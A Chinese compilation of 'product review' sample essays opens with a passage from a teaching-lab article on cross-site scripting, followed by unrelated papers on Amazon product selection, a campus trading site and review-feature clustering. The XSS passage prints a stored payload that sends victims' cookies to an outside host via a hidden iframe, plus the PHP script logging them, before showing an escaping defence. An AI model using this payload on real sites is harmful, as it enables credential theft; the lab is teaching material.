接下來，在我們搭建的實(shí)驗(yàn)平臺(tái)上，對一個(gè)網(wǎng)站進(jìn)行跨站腳本攻擊，以實(shí)現(xiàn)一個(gè)不斷彈出的窗口，迫使正常的網(wǎng)頁瀏覽無法繼續(xù)下去。在一個(gè)存在有漏洞的商品評(píng)價(jià)網(wǎng)頁中，通過對商品添加評(píng)價(jià)進(jìn)行攻擊。如圖 4：

在評(píng)論內(nèi)容里面，寫下如下的代碼：

<script>while(true) alert(/You have been XSS attacked!/) </script>，

發(fā)表評(píng)論后，當(dāng)其他用戶登錄網(wǎng)站，通過點(diǎn)擊“查看該商品評(píng)論”查看評(píng)論時(shí)，就會(huì)出現(xiàn)如圖 5所示的情況：

并且無論點(diǎn)擊多少次“確定”按鈕，都無法關(guān)閉此彈出窗口，表明此用戶已經(jīng)受到了跨站腳本攻擊。打開由網(wǎng)站傳送回來的網(wǎng)頁源代碼，可以發(fā)現(xiàn)這樣一句代碼：“<script>while(true) alert(/You have been XSS attacked!/) </script>”，這段代碼已經(jīng)入到網(wǎng)頁中，當(dāng)瀏覽器解析到這一段代碼時(shí)，因?yàn)椤?lt;script>”標(biāo)簽的原因，標(biāo)簽對里面的內(nèi)容會(huì)被解釋執(zhí)行，而不是作為對商品的評(píng)論原封不動(dòng)的顯示在頁面上。通過查看網(wǎng)站后臺(tái)數(shù)據(jù)庫，發(fā)現(xiàn)如圖 6所示的語句已經(jīng)被寫入了數(shù)據(jù)庫：

當(dāng)其他用戶查看此商品的評(píng)論時(shí)，此條記錄被讀出，并插入到網(wǎng)頁中，從而形成了跨站腳本攻擊。

另外一個(gè)跨站腳本攻擊的案例是盜取用戶的登錄賬號(hào)和密碼。

用戶“qy1”在如圖 7所示的網(wǎng)頁中進(jìn)行登錄后：

在用戶的機(jī)器上會(huì)保留一個(gè)cookie，里面記錄了用戶登錄時(shí)輸入的賬號(hào)和密碼。可以通過在用戶的瀏覽器的地址欄輸入語句“javascript：alert(document.cookie)”來顯示出賬號(hào)和密碼，如圖 8所示：

可見用戶的賬號(hào)和密碼都保存在了用戶的計(jì)算機(jī)中。通過跨站腳本攻擊可以在攻擊者的機(jī)器上獲得用戶的賬號(hào)和密碼。

攻擊者a在某一個(gè)商品的評(píng)論中發(fā)表如圖 9所示的內(nèi)容：

其中，評(píng)論內(nèi)容中輸入的是： “<script>var ck=document.cookie;var url=\’kaikaixinxin.net/qlunwen1216/jieshoucookie.php?zhanghao=\’+ck;var daima=\&acute;<iframe width=0 height=0 src=\"\’+url+\’\"></iframe>\’;document.write(daima);</script>”。

當(dāng)用戶“qy1”登錄網(wǎng)站查看這一個(gè)評(píng)論時(shí)，其賬號(hào)和密碼就會(huì)發(fā)送到攻擊者a所指定的機(jī)器上，并存儲(chǔ)在“cookie.txt”文件中，其中的內(nèi)容如圖 10：

由此攻擊者就利用跨站腳本攻擊獲取到了被攻擊者的賬號(hào)和密碼等重要信息。

分析此次跨站腳本攻擊，攻擊者在商品評(píng)論里面并沒有寫入評(píng)論性的語句，而是寫入了一段javascript代碼，這段代碼并沒有經(jīng)過過濾就被寫到了網(wǎng)站的后臺(tái)數(shù)據(jù)庫中，如圖 11：

當(dāng)受攻擊者瀏覽這個(gè)商品的評(píng)論時(shí)，這段代碼沒有經(jīng)過任何過濾就被傳送給了瀏覽器，而瀏覽器當(dāng)解析到<script></script>所包括的語句時(shí)，會(huì)認(rèn)為這是一段javascript語句，會(huì)執(zhí)行語句中的內(nèi)容。而這段代碼的作用就是讀取被攻擊者機(jī)器上所存儲(chǔ)的cookie信息，并且把此信息發(fā)送給攻擊者所指定的網(wǎng)站的指定接收頁面。我們再來看，這個(gè)接收頁面的內(nèi)容如下：

<?php

$cookie=$_GET[&acute;zhanghao&acute;];

$cookierec=fopen("cookie.txt","a");

fwrite($cookierec,$cookie."\n");

fclose($cookierec);

?>

其作用就是接收被攻擊者發(fā)送過來的賬號(hào)信息，并把它存儲(chǔ)在文件“cookie.txt”里面。

被攻擊者的機(jī)器在不知不覺中向攻擊者指定的機(jī)器發(fā)送了數(shù)據(jù)包，其內(nèi)容如圖 12：

數(shù)據(jù)包中的GET語句包括了用戶的賬號(hào)等重要信息。

到此為止，一個(gè)詳細(xì)的跨站腳本攻擊過程就已經(jīng)詳細(xì)的展現(xiàn)出來。如何防止此種跨站腳本攻擊呢。通過分析以上攻擊過程，發(fā)現(xiàn)實(shí)現(xiàn)此類攻擊，要具備以下條件：

（1）網(wǎng)站存在供用戶輸入數(shù)據(jù)的頁面，類似留言板，商品評(píng)論，搜索框等。

（2）用戶瀏覽了被攻擊者惡意修改過的網(wǎng)頁。

（3）用戶的機(jī)器允許執(zhí)行這些惡意代碼。

（4）網(wǎng)站沒有對用戶的輸入內(nèi)容進(jìn)行有效的過濾，即過濾掉那些攻擊性的代碼，并且在輸出用戶的評(píng)論或者搜索內(nèi)容時(shí)也沒有進(jìn)行過濾。

對于以上的第一點(diǎn)，由于現(xiàn)在絕大多數(shù)網(wǎng)頁都會(huì)有和用戶交互的需要，所以給用戶輸入信息的功能，不能取消。

對于第二點(diǎn)，用戶可以提高警惕，對于一些非法網(wǎng)站，盡量不要去訪問。

對于第三點(diǎn)，用戶可以禁止瀏覽器的活動(dòng)腳本的執(zhí)行，可以如圖 13設(shè)置：

對于第四點(diǎn)，要求網(wǎng)站開發(fā)人員對用戶的輸入信息進(jìn)行過濾，過濾掉惡意的代碼。或者在輸出時(shí)進(jìn)行過濾，過濾掉惡意代碼。

例如，可以建立一個(gè)如下的函數(shù)：

function unhtml($content){

$content=str_replace("&","&amp;",$content);

$content=str_replace("<","&lt;",$content);

$content=str_replace(">","&gt;",$content);

$content=str_replace(" ,"&nbsp;",$content);

$content=str_replace(chr(13),"<br>",$content);

$content=str_replace("\\","\\\\",$content);

$content=str_replace(chr(34),"&quot;",$content);

return $content;

}

利用此函數(shù)把”<” ,”>”, “&”等字符轉(zhuǎn)化為&lt;, &gt;, &amp;等字符。這樣瀏覽器在輸出時(shí)，遇到&lt;, &gt;, &amp等字符時(shí)，就會(huì)在網(wǎng)頁上顯示”<” ,”>”, “&”等字符，而不會(huì)把這些字符對中所包含的內(nèi)容當(dāng)作可運(yùn)行的代碼進(jìn)行執(zhí)行了。

在實(shí)驗(yàn)平臺(tái)的網(wǎng)站后臺(tái)頁面代碼中加入unhtml函數(shù)，例如在顯示商品評(píng)論的網(wǎng)頁showpl.php中加入如下代碼

<?php echo unhtml($info1[content]);?>

成功對商品評(píng)論中的輸出內(nèi)容進(jìn)行了過濾，避免了跨站腳本攻擊，用戶看到的輸出結(jié)果如圖 14：

結(jié)論：

為了讓學(xué)習(xí)者理解如何防范跨站腳本攻擊，搭建了一個(gè)基于php+mysql的實(shí)驗(yàn)平臺(tái)，在對跨站腳本攻擊進(jìn)行了原理上的詳訴后，對攻擊中的每個(gè)步驟進(jìn)行了模擬，每一步的模擬都是一個(gè)真實(shí)攻擊的再現(xiàn)。最后，講解如何防范跨站腳本攻擊，對于后臺(tái)防范代碼做了詳解，演示了防范后的效果。我們搭建的實(shí)驗(yàn)環(huán)境讓學(xué)習(xí)者不再局限于對跨站腳本攻擊原理上的了解，而是有了一個(gè)實(shí)操的環(huán)境，極大的提高了學(xué)習(xí)者的學(xué)習(xí)興趣，增加了學(xué)習(xí)效率?；谖覀兇罱ǖ膶?shí)驗(yàn)平臺(tái)，將來還可以開展更多的實(shí)驗(yàn)。

參考文獻(xiàn)

［1］趙彬.黑客攻防Web安全實(shí)戰(zhàn)詳解[M].北京:中國鐵道出版社,2014.

［2］肖遙.大中型為了入侵要案直擊與防御[M].北京:電子工業(yè)出版社,2011.

第7篇：商品評(píng)論范文

我的選品思路:市場容量不是很大真的不怕，最重要是找對趨勢和有發(fā)展空間，因?yàn)楝F(xiàn)在亞馬遜的產(chǎn)品暴利期一般也只有約3-9個(gè)月。都是斗快抓機(jī)會(huì)做中前期。說實(shí)話我做過的爆款都沒用軟件去細(xì)看每一項(xiàng)數(shù)據(jù)如關(guān)鍵詞搜索量，預(yù)估銷量等，真不宜花太多時(shí)間做太多技術(shù)性的分析，否則是很容易錯(cuò)過機(jī)會(huì)。

我看關(guān)鍵數(shù)據(jù):看產(chǎn)品評(píng)論(Review)有否快速增長就可以確定產(chǎn)品是否有跡象在爆發(fā)，因?yàn)镽eview是亞馬遜出單核心，而且Review增長快代表最近有一定銷量支持，相反不用太執(zhí)著銷售排名(Best Sellers Rank)，一來變化大，二來排名高的都被數(shù)以萬計(jì)賣家關(guān)注，想找下一個(gè)爆款肯定是看一些現(xiàn)在被低估或不是太顯眼的，可以告訴你大類目銷售排名就算去到1萬多的實(shí)際都有機(jī)會(huì)火起來，大類目排名5百至1萬的都是理想范圍。當(dāng)找到目標(biāo)產(chǎn)品后再確認(rèn)一下對手?jǐn)?shù)量及Review都沒太多后，就用最短時(shí)間把產(chǎn)品發(fā)FBA上架再做測評(píng)

review可能有不少是假的?這是無可否認(rèn)，但相對而言，操作假銷量的成本是更低，一些商家可以天天一個(gè)listing刷50個(gè)銷量，把銷售排名撐到很高，這樣如果我們太聚焦在銷售排名就可能更容易出現(xiàn)誤判，是非常影響大家分析市場的。所以相對之下我會(huì)比較看重review變化。而且虛假review實(shí)際上亞馬遜都一直有刪，力度更愈來愈大,相信review參考性只會(huì)愈來愈高。

過往月銷數(shù)萬美金listing的共通點(diǎn)和運(yùn)營大方向:自建Listing，以單一Listing銷量最大化做方針 (不鋪貨，有利資金，資源控制)，產(chǎn)品單價(jià)約$20-$60美金發(fā)FBA(從頭到尾都用FBA)-不依賴站內(nèi)廣告出單(過往廣告產(chǎn)生的訂單不超過總訂單5-10%)-沒有做站外引流(亂引流有可能大幅降低轉(zhuǎn)化率，繼而令搜索排名大幅下降，對listing傷害很大)-不用常常修改listing或關(guān)鍵詞，核心關(guān)鍵詞一般就3-5個(gè)，參考亞馬遜搜索框提示，競品標(biāo)題或google adwords關(guān)鍵詞工具已經(jīng)足夠-Listing和說明書別照搬廠家的標(biāo)準(zhǔn)文本，最好找專業(yè)的編寫或讓老外寫，一來影響轉(zhuǎn)化率，二來老外看到抓頭的時(shí)候別怪吃一堆負(fù)評(píng)和退貨-多改良包裝，盡量弄小一點(diǎn)丶穩(wěn)固一點(diǎn)和劃算一點(diǎn)，要盡量降低運(yùn)費(fèi)成本和壞貨率，不信買個(gè)Anker移動(dòng)電源看一下他們包裝怎麼弄就懂-多調(diào)控物流時(shí)間，如空運(yùn)要長期達(dá)成約3-4天內(nèi)到美國亞馬遜倉庫-多調(diào)控產(chǎn)品開發(fā)至上架所需的時(shí)間，包括設(shè)計(jì)丶生產(chǎn)包裝，設(shè)計(jì)Listing，訂貨，打包產(chǎn)品，找測評(píng)等每一環(huán)節(jié)都要探討可改善加快之方法-有空多準(zhǔn)備替代方案，包括備用的物流公司，包裝廠，產(chǎn)品廠家。因?yàn)橹灰?dāng)中一個(gè)環(huán)節(jié)出問題令你延遲1-2星期發(fā)貨，即時(shí)已損失一些錢，更重要是如果開賣後FBA斷貨1-2星期，Listing是有機(jī)會(huì)被亞馬遜嚴(yán)重降權(quán)，流量和單量都會(huì)持續(xù)明顯下降，有時(shí)候Listing更可以直接報(bào)廢，相信有不少大賣家也嘗過。所以能調(diào)控好以上說的，每次上新Listing就能提前開賣幾個(gè)星期，配合一開始選好在爆發(fā)中的產(chǎn)品，就能占盡先機(jī)。當(dāng)然還有一些細(xì)節(jié)如怎麼建一個(gè)具優(yōu)勢的Listing或可運(yùn)用什麼有效的銷售策略?亞馬遜平臺(tái)內(nèi)有什麼重要的規(guī)則/技巧等等，這些都掌握好銷量才能最大化。這些下一次再跟大家分享。

第8篇：商品評(píng)論范文

關(guān)鍵詞：物品交易；三層結(jié)構(gòu)；.NET

中圖分類號(hào)：TP311文獻(xiàn)標(biāo)識(shí)碼：A文章編號(hào)：1009-3044(2011)27-6583-01

近年來，隨著高校擴(kuò)招，我院在校生規(guī)模的也在不斷擴(kuò)大。由此，間接催生了學(xué)生對用品的需求。據(jù)統(tǒng)計(jì)，我院學(xué)生大都家庭狀況不太富裕，他們的消費(fèi)水平普遍較低，因此二手學(xué)習(xí)生活用品對其而言，則相對顯然經(jīng)濟(jì)實(shí)惠。所以學(xué)院社團(tuán)也會(huì)不定期地組織跳蚤市場，但這遠(yuǎn)遠(yuǎn)不能滿足學(xué)生需求。在信息化的時(shí)代，建立校園物品交易平臺(tái)，必將成為一種新型的學(xué)生交易方式。給學(xué)生帶來無窮的方便。在這個(gè)平臺(tái)，所有學(xué)生都可以注冊登錄在上面購買自己需要的物品。網(wǎng)站將以物品列表的形式的向所有訪客展示這些信息。

1 系統(tǒng)的體系結(jié)構(gòu)

本系統(tǒng)根據(jù)軟件體系的結(jié)構(gòu)，結(jié)合本系統(tǒng)的設(shè)計(jì)特點(diǎn)，采用三層結(jié)構(gòu)設(shè)計(jì)作為系統(tǒng)框架，系統(tǒng)的邏輯體系設(shè)計(jì)如圖1所示。

通常意義上的三層架構(gòu)就是將整個(gè)業(yè)務(wù)應(yīng)用劃分為：表示層（UI）、業(yè)務(wù)邏輯層（BLL）、數(shù)據(jù)訪問層（DAL）。

1) 表示層（UI）：用于顯示數(shù)據(jù)和接受用戶輸入的數(shù)據(jù)，為用戶提供一種交互式操作界面。、

2) 業(yè)務(wù)邏輯層（BLL）：只要負(fù)責(zé)數(shù)據(jù)的傳遞和處理。

3) 數(shù)據(jù)訪問層（DAL）：主要實(shí)現(xiàn)對數(shù)據(jù)的保存和讀取操作。

2 系統(tǒng)功能模塊設(shè)計(jì)

本系統(tǒng)采用 技術(shù)，基于Microsoft SQL Server 2005 數(shù)據(jù)庫系統(tǒng)的數(shù)據(jù)管理使該系統(tǒng)有更高效的性能。系統(tǒng)的基本功能如圖2所示。

系統(tǒng)有4種用戶類型，各種用戶所涉及到得功能有所不同：

1) 游客的主要功能有：搜索商品、按類別查看商品、查看商品信息、查看商品評(píng)論、查看熱門商品、查看所有店鋪、查看店鋪中商品、查看校園新聞、看到“關(guān)于我們”中的信息；

2) 普通用戶的主要功能有：用戶注冊、用戶登錄、商品評(píng)價(jià)、商品留言、查看店主信息、給管理員留言、修改用戶注冊信息；

3) 開店用戶的主要功能有：免費(fèi)開店、快速搜索自己的店鋪、修改店鋪信息、上傳商品、店鋪過期商品處理、商品留言回復(fù)、管理店鋪商品、延期過期商品；

4) 管理員的主要功能有：用戶管理、店鋪管理、商品管理、評(píng)論管理、新聞管理、給管理員的一封信、物品回收站、廣告管理；

3 系統(tǒng)功能的實(shí)現(xiàn)

數(shù)據(jù)庫設(shè)計(jì)主要涉及14張數(shù)據(jù)表，分別為管理員表、評(píng)論表、商品類別表、留言表、新聞表、商品過期時(shí)間表、回收站表、商品表、店鋪表、學(xué)生信息表、給管理員一封信表、用戶信息表、用戶狀態(tài)表、用戶類型表。要求每天下班前自動(dòng)備份數(shù)據(jù)庫到另外一個(gè)硬盤上以提高數(shù)據(jù)的安全性。對數(shù)據(jù)庫讀寫、刪除操作最直接的實(shí)現(xiàn)方法是客戶端程序通過數(shù)據(jù)庫接口程序直接對數(shù)據(jù)庫進(jìn)行操作。

用編寫的動(dòng)態(tài)Web網(wǎng)頁時(shí),如果考慮不夠周全,安全意識(shí)不強(qiáng),會(huì)造成程序不夠穩(wěn)健,再加上數(shù)據(jù)庫本身存在的安全漏洞,用戶有意或無意的交互,就可能會(huì)成為網(wǎng)站的攻擊事件。為了防止這些情況的發(fā)生，本系統(tǒng)采用了身份驗(yàn)證與授權(quán)、使用Parameters參數(shù)防止SQL攻擊以及MD5加密等安全技術(shù)。

4 結(jié)束語

很多院校提倡綠色教育，首先要體現(xiàn)在校園文化上，通過學(xué)生物品交易平臺(tái)的有效實(shí)施，將會(huì)大量減少墻壁污染和廣告垃圾，同時(shí)促使了學(xué)生物品的循環(huán)使用，減少不必要的浪費(fèi)。

在完成系統(tǒng)過程中本熱收獲了很多，同時(shí)也認(rèn)識(shí)到自己的不足，尤其是自己開發(fā)的物品交易平臺(tái)有很多是需要完善的地方。平臺(tái)要繼續(xù)增加好友功能，用戶可在線聊天交友、查詢資料等。

參考文獻(xiàn)：

[1] 金永濤.基于.NET框架的Web應(yīng)用系統(tǒng)安全問題研究[J].北華航天工業(yè)學(xué)院學(xué)報(bào),2009(6).

[2] 張玉麗框架下工作流管理系統(tǒng)的研究與應(yīng)用[D].青島:中國海洋大學(xué),2008.

[3] 郝冠軍本質(zhì)論[M].北京:機(jī)械工業(yè)出版社,2011.

第9篇：商品評(píng)論范文

關(guān)鍵詞： 產(chǎn)品特征； 語義相似度； 聚類算法； 觀點(diǎn)挖掘

中圖分類號(hào)： TN911?34 文獻(xiàn)標(biāo)識(shí)碼： A 文章編號(hào)： 1004?373X（2017）14?0081?04

Abstract： Aiming at the problem of the various product feature expressions existing in user reviews， it′s necessary to cluster the product feature words in the task of fine?grained opinion mining. According to the calculation characteristics of different semantic similarities， a semantic similarity mixture calculation method based on semantic knowledge and context entropy model is proposed to calculate the extract the semantic similarity of feature words. The traditional CBC algorithm is improved. A CBC?LIKE method suitable for product feature words clustering is proposed. The experiment is conducted for the real review corpus in three domains. The performances of the proposed semantic similarity calculation method and clustering algorithm are analyzed. The experimental results show that the method is effective， its performance is better than that of other two benchmark methods， which has perfect effect.

Keywords： product feature； semantic similarity； clustering algorithm； opinion mining

產(chǎn)品評(píng)論領(lǐng)域中的細(xì)粒度意見挖掘旨在深入到產(chǎn)品特征層面，產(chǎn)品特征包含商品本身、商品的部件和屬性、以及屬性的特征等[1?2]。比如下面評(píng)論句子：I browsed the [pictures] in the computer， and found the [photos] were perfect and the [resolution] was high。其中方括號(hào)括起來的是相機(jī)這一領(lǐng)域產(chǎn)品評(píng)論的特征，而下劃線的詞語是針對該特征用戶表達(dá)的觀點(diǎn)。由于用戶發(fā)表評(píng)論時(shí)通常具有很大的自由度和隨意性，并且不同用戶的表達(dá)習(xí)慣也并不相同，因此，用戶評(píng)論文本呈現(xiàn)出高度的隨意性和不確定性特點(diǎn)。例如在數(shù)碼相機(jī)領(lǐng)域中，不同用戶可能分別采用“picture quality”和“image clarity”表示“照片”特征，而相機(jī)產(chǎn)品評(píng)論中提到的“picture”，“image”和“photo”這三個(gè)特征表示的是同一特征[3?4]。針對產(chǎn)品特征詞聚類問題，本文在完成特征抽取任務(wù)的基礎(chǔ)上，結(jié)合不同的語義相似度計(jì)算的特點(diǎn)，提出基于語義知識(shí)和基于上下文熵模型的語義相似度混合計(jì)算方法，計(jì)算抽取得到的特征詞的語義相似度，然后提出CBC?LIKE聚類方法完成特征詞集合的聚類任務(wù)。最后對來自于三個(gè)領(lǐng)域的真實(shí)評(píng)論語料上的仿真實(shí)驗(yàn)結(jié)果表明，本文提出的方法對特征詞的聚類效果是有效的，優(yōu)于另外兩種基線方法。

1 產(chǎn)品特征詞聚類

1.1 混合特征詞語義相似度計(jì)算

本文采用基于三種語義相似度計(jì)算的混合計(jì)算方法用于特征聚類。

（1） 對產(chǎn)品特征的表達(dá)往往會(huì)共享同樣的詞[5]。比如，“LCD screen”， “LCD viewfinder”，指的都是同樣的產(chǎn)品特征“display”，這時(shí)，screen和viewfinder具有相同的含義，所以對共享詞相似度的計(jì)算公式如下：

（2） 基于WordNet[6]的語義相似度量方法，常用Jiang & Conrath算法[7]，其計(jì)算方法如下：

式中：LCS表示和之間的最小公共包含（Least Common Subsumer）；IC表示信息量；是一個(gè)常量，表示W(wǎng)ordNet的名詞分類中概念總數(shù)。比如，本文實(shí)驗(yàn)中計(jì)算的產(chǎn)品特征“image”和“photo”語義相似度為0.744，而“image”和“battery”計(jì)算結(jié)果為0.221。

（3） 基于詞典的方法的局限在于詞典容量有限，語義覆蓋程度不足[8]。所以本文進(jìn)一步引入基于上下文熵的方法計(jì)算詞的相似度，計(jì)算方法如下：

式中：，分別表示分布上下文中出現(xiàn)的特征詞；，其中，和表示當(dāng)前詞的左上下文向量和右上下文向量[9]，上下文向量中的每個(gè)維度用TF?IDF作為向量值。，之間的距離可以通過它們的左右上下文分布的KL?divergence之和計(jì)算得到[10]。因?yàn)閮蓚€(gè)特征詞分別都有其對應(yīng)的左邊上下文向量和右上下文向量，所以將兩個(gè)相加計(jì)算得到，如下：

式中：和分別表示第維的詞出現(xiàn)在特征詞和的左（右）上下文向量中的概率權(quán)值；表示向量的維度。

最后，本文對基于上述三個(gè)語義相似度度量方法相結(jié)合，得到最終的相似度計(jì)算公式：

式中，和分別為語義相似度計(jì)算方法的權(quán)重，本文根據(jù)多次重復(fù)實(shí)驗(yàn)結(jié)果取值分別為0.7和0.4，實(shí)驗(yàn)中也對不同的語義相似度計(jì)算方法對聚類結(jié)果產(chǎn)生的影響進(jìn)行了分析。

1.2 基于CBC算法的產(chǎn)品特征聚類

CBC算法[11]由Pantel等人提出，其基本思想是首先根據(jù)待聚類數(shù)據(jù)集中的數(shù)據(jù)緊湊度形成若干簇，然后采用遞歸的方法將高質(zhì)量的候選聚類簇形成真正的中心，刪除與其沖突的候選中心，待所有聚類中心確定后，計(jì)算殘余元素與聚類中心的相似度，確定其歸屬。與K?means算法只用一個(gè)元素表示聚類的思想不同之處在于，該算法通過計(jì)算簇中元素的平均距離確定聚類的質(zhì)心，從而可以避免因局部最優(yōu)解而導(dǎo)致的較大誤差，并且已被證明在根據(jù)詞的語義相似度聚類中是有效的[11]。本文對傳統(tǒng)CBC算法進(jìn)行改進(jìn)，提出CBC?LIKE算法用于特征詞的聚類任務(wù)。與原始CBC算法一樣該算法也分為三個(gè)步驟，不同的是，原始算法中需要兩個(gè)閾值進(jìn)行判斷，而CBC?LIKE算法中只需要一個(gè)閾值即可，本文根據(jù)經(jīng)驗(yàn)設(shè)置其值為0.35。另一方面改進(jìn)是原始CBC算法的聚類簇?cái)?shù)是未知的，所以其總是盡可能構(gòu)建聚類簇，但在產(chǎn)品特征聚類任務(wù)中，事先可以根據(jù)產(chǎn)品領(lǐng)域人工設(shè)定聚類簇?cái)?shù)[5]，比如“Battery Cluster”，“Photography Cluster”等，從而提高聚類效果。算法如下：

CBC?LIKE算法描述：

輸入： 產(chǎn)品特征詞集合S

聚類簇個(gè)數(shù)p

（Committee）種子成員個(gè)數(shù)q

輸出： 特征詞聚類結(jié)果C

步驟1：for each feature in S

計(jì)算語義相似度：ss（，），，屬于S且將ss（，）按降序存入集合

end for

步驟2：for each feature in S

選擇中前q個(gè)特征構(gòu)成的committee：

計(jì)算 的平均相似度：

end for

將按照降序存入集合

定義C為存儲(chǔ)聚類中心集合的一個(gè)列表，初始化為空

for each in

if 相似度s（C，）

if 為空 then 返回 C

end if

end for

步驟3：for each residue feature

分別計(jì)算與p個(gè)committee的語義相似度

把fi并入語義相似度最近的簇

end if

2 實(shí)驗(yàn)結(jié)果與分析

2.1 實(shí)驗(yàn)數(shù)據(jù)集與評(píng)估指標(biāo)

為測試本文提出方法的有效性，使用從亞馬遜電商網(wǎng)站（http：///）中收集的3個(gè)領(lǐng)域的語料，分別是Digital Camera，Vacuum，Cell Phone。為得到最佳標(biāo)準(zhǔn)，三個(gè)標(biāo)注者對抽取的產(chǎn)品特征進(jìn)行人工分類，從中選擇至少兩個(gè)以上相同標(biāo)注者標(biāo)注的標(biāo)簽作為最終標(biāo)注結(jié)果。表1給出了收集語料和標(biāo)注結(jié)果的基本統(tǒng)計(jì)信息。

文中，對于特征聚類效果的評(píng)價(jià)指標(biāo)使用熵值（Entropy）和純度（Purity）[6]，熵值用來衡量結(jié)果與標(biāo)準(zhǔn)劃分相比的混亂程度，值越小，分類結(jié)果的混亂程度越低；純度用來衡量分類結(jié)果與標(biāo)準(zhǔn)劃分的一致性程度，值越大，分類結(jié)果的純度越高。給定產(chǎn)品特征詞集合FS和簇?cái)?shù)，對該集合的最佳分類記作，聚類算法將特征詞集合FS劃分為k個(gè)獨(dú)立子集，其熵值：

式中，表示結(jié)果類中包含標(biāo)準(zhǔn)類中元素的比例。給定一組對于每個(gè)特征詞分類子集，其純度：

式中，表示結(jié)果類中包含標(biāo)準(zhǔn)類中元素的比例。另外，為評(píng)估本文提出的基于CBC?LIKE聚類方法的效果，引入K?means和基于自動(dòng)標(biāo)注的半監(jiān)督EM方法這兩種聚類策略作為基線方法進(jìn)行對比。

2.2 實(shí)驗(yàn)結(jié)果及分析

為了驗(yàn)證本文提出的CBC?LIKE算法中種子（committee）的個(gè)數(shù)對聚類效果的影響，實(shí)驗(yàn)中設(shè)置種子個(gè)數(shù)從1～6，在三個(gè)領(lǐng)域語料上分別進(jìn)行了5輪實(shí)驗(yàn)，計(jì)算其對應(yīng)的純度和熵值。實(shí)驗(yàn)結(jié)果如圖1所示。隨著種子個(gè)數(shù)的增加，CBC?LIKE算法的性能首先是在增加，然后在某些點(diǎn)的位置上減少。這表明種子個(gè)數(shù)對產(chǎn)品特征聚類是有幫助的，但是隨著種子數(shù)量的增加，會(huì)隨之帶來一些噪聲信息。為了驗(yàn)證本文提出的基于CBC?LIKE聚類方法的有效性，將其與其他兩個(gè)基線方法進(jìn)行了比較，表2給出了不同聚類算法在三種產(chǎn)品領(lǐng)域集上Entropy和Purity值的比較結(jié)果。其中，對于特征詞之間的相似度計(jì)算采用了本文提出的三種相似度計(jì)算結(jié)合的計(jì)算方法?？梢钥吹?，與KM和EM方法相比，m然在某些領(lǐng)域上面CBC?LIKE方法的Entropy值和Purity值這兩個(gè)指標(biāo)不占優(yōu)，但是其在三種產(chǎn)品領(lǐng)域的平均Entropy值上都取得了最小值，同時(shí)平均Purity值取得了最大值，準(zhǔn)確率上與KM算法比較，具有較為明顯優(yōu)勢，這表明，本文提出的CBC?LIKE方法在聚類性能上要優(yōu)于其他兩種聚類方法。

為了進(jìn)一步分析不同的相似度計(jì)算對于CBC?LIKE聚類算法效果的影響。下面分別給出了基于詞典的計(jì)算方法和基于共同詞的相似度計(jì)算方法（WordNet+SW），基于上下文熵模型和共同詞的計(jì)算方法（CE+SW），本文前述的基于三種方法結(jié)合的相似度計(jì)算方法（FS），實(shí)驗(yàn)結(jié)果如表3所示。從實(shí)驗(yàn)結(jié)果中可以看出，采用三種相似度計(jì)算相結(jié)合的方法在最后的聚類效果上要優(yōu)于另外兩種。從平均Entropy值和Purity的結(jié)果上可以看到，F(xiàn)S要優(yōu)于前兩種方法，而CE+SW又優(yōu)于WN+SW的方法，說明采用上下文熵模型對于特征詞的相似度度量方法具有較好效果，能較好地反應(yīng)特征詞在產(chǎn)品評(píng)論中的語義關(guān)系，這個(gè)和本文實(shí)驗(yàn)中對于兩個(gè)調(diào)和參數(shù)α和β的實(shí)驗(yàn)性選取上是相印證的。

3 結(jié) 論

針對產(chǎn)品評(píng)論觀點(diǎn)挖掘產(chǎn)品特征聚類進(jìn)行了研究，提出在三種不同語義相似度的混合計(jì)算方法的基礎(chǔ)上，用CBC?LIKE聚類算法完成特征詞集合的聚類。最后的仿真實(shí)驗(yàn)結(jié)果表明，本文提出的三種不同語義相似度混合計(jì)算方法以及CBC?LIKE聚類算法能有效完成聚類任務(wù)，純度和熵值這兩個(gè)指標(biāo)上的表現(xiàn)優(yōu)于基線方法。

參考文獻(xiàn)

[1] BALAZS J A， VEL?SQUEZ J D. Opinion mining and information fusion： a survey [J]. Information fusion， 2015， 27（C）： 95?110.

[2] HU M Q， LIU B. Mining and summarizing customer reviews [C]// Proceedings of 2004 the Tenth ACM SIGKDD International Conference on Knowledge Discovery and Data Mining. Seattle： ACM， 2004： 168?177.

[3] YU Jianxing， ZHA Zhengjun， WANG Meng， et al. Aspect ranking： identifying important product aspects from online consumer reviews [C]// Proceedings of 2011 Annual Meeting of the Association for Computational Linguistics： Human Language Technologies. Portland： Association for Computational Linguistics， 2011： 1496?1505.

[4] XU H， ZHANG F， WANG W. Implicit feature identification in Chinese reviews using explicit topic mining model [J]. Knowledge?based systems， 2015， 76（5）： 166?175.

[5] ZHANG S， JIA W， XIA Y， et al. Product features extraction and categorization in Chinese reviews [C]// Proceedings of 2010 IEEE the 6th International Conference on Advanced Information Management and Service. [S.l.]： IEEE， 2010： 324?329.

[6] MILLER G A. WordNet： a lexical database for English [J]. Communications of the ACM， 1995， 38（11）： 39?41.

[7] ZHAI Zhongwu， LIU Bing， XU Hua， et al. Clustering product features for opinion mining [C]// Proceedings of the Forth International Conference on Web Search and Web Data Mining. Hong Kong， China： IEEE， 2011： 347?354.

[8] BRYNIELSSON J， JOHANSSON F， JONSSON C， et al. Emotion classification of social media posts for estimating people′s reactions to communicated alert messages during crises [J]. Security informatics， 2014， 3（1）： 1?11.

[9] XU T， PENG Q， CHENG Y. Identifying the semantic orientation of terms using S?HAL for sentiment analysis [J]. Knowledge?based systems， 2012， 35（15）： 279?289.